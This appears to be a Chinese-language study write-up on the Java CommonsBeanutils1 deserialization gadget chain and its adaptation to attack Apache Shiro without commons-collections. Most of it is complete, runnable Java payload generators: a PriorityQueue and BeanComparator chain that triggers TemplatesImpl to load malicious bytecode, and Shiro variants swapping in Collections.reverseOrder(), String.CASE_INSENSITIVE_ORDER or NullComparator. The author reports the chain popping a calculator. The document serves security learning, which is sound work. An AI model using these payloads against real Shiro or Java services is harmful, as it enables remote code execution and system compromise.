CommonsBeanutils链与无commons collections的shiro反序列化利用
在cc2中,我们知道可以在commons-collections4通过java.util.Comparator打 java.util.PriorityQueue链;
这篇文章主要探讨之一是是否可以通过java.util.Comparator打其他的链子;
首先,还是先找谁可以调用这个Comparator类的compare方法;
我们在org.apache.commons.beanutils.BeanComparator下找到了compare方法,(毕竟参考p牛的文章,这里就先入为主地引入了)
这里先介绍一下commons.beanutils,从前缀可以看到这是是 Apache Commons 工具集下的另一个项目,
Apache Commons BeanUtils 是 Apache Commons 项目中的一个核心工具库,专注于简化 JavaBean 的操作。它通过反射机制提供了一套高效、灵活的 API,用于动态读写 JavaBean 的属性、类型转换及对象拷贝等
那什么是javabean呢;
简单来说就是一种代码编写规范;主要用于封装业务逻辑、数据操作或界面元素,实现代码模块化和跨平台复用
通过属性私有化+接口方法公有化方式进行一些类的编写;
简单来说就是要访问/操作这个类的属性时候,只能通过公有接口操作(通过公共的 getter/setter方法读写)
比如说以下代码
import java.io.Serializable;
public class UserBean implements Serializable { // 实现序列化接口
// 1. 私有属性(驼峰命名,首字母小写)
private String userName;
private int age;
private boolean isVip; // 布尔类型属性
// 2. 无参公共构造器(必须)
public UserBean() {}
// 3. 有参构造器(非必须,但方便初始化)
public UserBean(String userName, int age, boolean isVip) {
this.userName = userName;
this.age = age;
this.isVip = isVip;
}
// 4. 公共的 getter/setter 方法(命名规范)
// 字符串属性
public String getUserName() {
return userName;
}
public void setUserName(String userName) {
this.userName = userName;
}
// 整型属性
public int getAge() {
return age;
}
public void setAge(int age) {
this.age = age;
}
// 布尔属性(getter 可用 isXxx() 形式)
public boolean isVip() { // 推荐 isXxx() 命名
return isVip;
}
public void setVip(boolean isVip) {
this.isVip = isVip;
}
}
回到正题,我们在commons.beanutils中找到了compare方法,接下来,看如何利用;
可以看到在BeanComparator,其实从命名也可以猜出来这是一个比较器,构造函数中我们可控且可以进行构造恶意字节码然后传入;
初始化
对比cc2中用到的 transformingComparator
我们发现这里的BeanComparatorcompare方法中并没有调用transform函数;该怎么办呢?
public int compare(Object o1, Object o2) {
if (this.property == null) {
return this.comparator.compare(o1, o2);
} else {
try {
Object value1 = PropertyUtils.getProperty(o1, this.property);
Object value2 = PropertyUtils.getProperty(o2, this.property);
return this.comparator.compare(value1, value2);
} catch (IllegalAccessException iae) {
throw new RuntimeException("IllegalAccessException: " + iae.toString());
} catch (InvocationTargetException ite) {
throw new RuntimeException("InvocationTargetException: " + ite.toString());
} catch (NoSuchMethodException nsme) {
throw new RuntimeException("NoSuchMethodException: " + nsme.toString());
}
}
}
但我们发现它调用了PropertyUtils.getProperty这个方法:
作用:通过反射调用目标对象的 Getter 方法 获取属性值,简单来说就是通过getter方法获取对象属性值
例如
User user = new User("张三", 25);
String name = (String) PropertyUtils.getProperty(user, "name"); // 调用 getName()
Integer age = (Integer) PropertyUtils.getProperty(user, "age"); // 调用 getAge()
但这样有什么用呢?
我们思考一下,假设这里是我们的"注入点",我们应该怎么进行注入;
transform应该不行,这里没有调用这个函数的方法;这没有支持触发这个函数的"链"
自然而然我们想到使用动态加载字节码的方式;
但动态加载字节码需要反射调用TemplatesImpl的构造器,也就是newTransformer();
这里有没有transform方法进行实例化;怎么触发呢
我们回顾一下TemplatesImpl链
attacker calls -> TemplatesImpl.getOutputProperties() [public]
-> TemplatesImpl.newTransformer() [public]
-> TemplatesImpl.getTransletInstance() [private]
-> TemplatesImpl.defineTransletClasses() [private]
-> (new TransletClassLoader()).defineClass(byte[] b) [default]
发现链子开头就调用了 TemplatesImpl.getOutputProperties() [public]
其代码中也是标准的Getter写法;
因此我们只需要控制PropertyUtils.getProperty去调用TemplatesImpl.getOutputProperties()不就可以把字节码注入进去了;
确实如此
首先构建TemplatesImpl
byte[] code= Files.readAllBytes(Paths.get("E:\\java学习\\cc1\\src\\main\\java\\org\\com\\cc\\evil.class"));//从文件中加载,加载恶意字节码
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates,"_bytecodes",new byte[][]{code});
setFieldValue(templates,"_name","Hello");
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
对比较器BeanComparator实例化;
final BeanComparator comparator = new BeanComparator(property, String.CASE_INSENSITIVE_ORDER);
再对优先队列queue进行实例化;并添加两个无害的数据;防止compare比较出错,因为 comparer类型为String.CASE_INSENSITIVE_ORDER,所以queue.add("1");
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
queue.add("1");
queue.add("1");
最后通过反射修改数据将BeanComparator 中的修改property修改成getoutputProperties 和queue的1改成TemplatesImpl对象,这样就会调用getoutputProperties()触发TemplatesImpl恶意字节码链;
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj, obj});
payload
package com.govuln.shiroattack;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.beanutils.BeanComparator;
public class CommonsBeanutils1 {
private static void setFieldValue(Object obj, String fieldName, Object value)
throws Exception {
Class<?> clazz = obj.getClass();
Field field = null;
// 循环查找字段(包括父类)
while (clazz != null) {
try {
field = clazz.getDeclaredField(fieldName);
break;
} catch (NoSuchFieldException e) {
clazz = clazz.getSuperclass();
}
}
if (field == null) {
throw new NoSuchFieldException(fieldName);
}
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
byte[] code= Files.readAllBytes(Paths.get("E:\\java学习\\cc1\\src\\main\\java\\org\\com\\cc\\evil.class"));//从文件中加载,加载恶意字节码
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates,"_bytecodes",new byte[][]{code});
setFieldValue(templates,"_name","Hello");
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
// stub data for replacement later
queue.add("1");
queue.add("1");
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{templates, templates});
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
ObjectOutputStream oss = new ObjectOutputStream(outputStream);
oss.writeObject(queue);
oss.close();
System.out.println(outputStream);
ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(outputStream.toByteArray()));
Object object = objectInputStream.readObject();
}
}
最后也是弹出计算器了
shiro无commons-collections依赖反序列化漏洞利用
首先我们知道;shiro550中其实有保存有CommonsBeanutils 1.8.3的依赖的(有的版本可能已经删除)
commons-beanutils本来依赖于commons-collections,但是在Shiro中,它的commons-beanutils虽然包含了一部分commons-collection的类,但却不全。这也导致,正常使用Shiro的时候不需要依赖于commons-collections,但反序列化利用的时候需要依赖于commons-collections。
这时候就需要无依赖的Shiro反序列化利用链
思路之一:找一个等效果的类进行替换
这个类必须可以序列化:实现了java.io.Serializable 接口
这个必须是比较器类:实现了 java.util.Comparator 接口
可兼容且没有外部依赖:Java、shiro或commons-beanutils自带,且兼容性强
我们先看BeanComparator为什么需要commons-collections的依赖;
从BeanComparator源码中可以看到BeanComparator默认依赖
引用了commons-collections的
ComparableComparator;在参数缺省时会默认使用commons-collections的ComparableComparator;那在没有这个库依赖时呢;
也就是说 这时候就需要寻找一个Java/shiro/commons-beanutils原生且实现Comparator和Serializable的替代类,避免外部依赖
通过idea找到同时实现了Comparator和Serializable的类有
ReverseComparator2,NullComparator,ReverseComparator,CaseInsensitiveComparator
经发现有的是私有的,无法直接实例化;
发现ReverseComparator和CaseInsensitiveComparator可以完美调用;
以下给出ReverseComparator版本的代码,p牛给出的是CaseInsensitiveComparator版本的,由于原理都一样,只需要将代码中 Collections.reverseOrder()换成String.CASE_INSENSITIVE_ORDER即可,其实有个细节就是 Collections.reverseOrder()依赖的是 java.util.Collections;类,而CASE_INSENSITIVE_ORDER依赖java.lang.String类 ,虽然都可以是原生类,但String类更为常见一些
package com.govuln.shiroattack;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Collections;
import java.util.PriorityQueue;
public class CommonsBeanutils1Shiro {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public byte[] getPayload(byte[] clazzBytes) throws Exception {
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
final BeanComparator comparator = new BeanComparator(null, Collections.reverseOrder());
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
// stub data for replacement later
queue.add("1");
queue.add("1");
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj, obj});
// ==================
// 生成序列化字符串
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();
return barr.toByteArray();
}
}
;
这里给出新尝试的函数NullComparator(false)发现也是可以的;
只需要把以上的payload
final BeanComparator comparator = new BeanComparator(null, Collections.reverseOrder());
修改成
final BeanComparator comparator = new BeanComparator(null, new NullComparator(false));
即可
总结:本文中讲述了CB链的利用和打法:通过getter获取TemplatesImp链中的getoutputProperties方法触发这条链,从而加载字节码;
以及shiro反序列化的无依赖打法:利用java/shiro/commons-beanutils原生类的构造器绕过BeanComparator构造函数的缺省默认commons-collections构造器去触发readobject->...->compare函数的反序列化链;
-------------------------------------------备注----------------------------------------------
参考p牛->知识星球->代码审计->java系列文章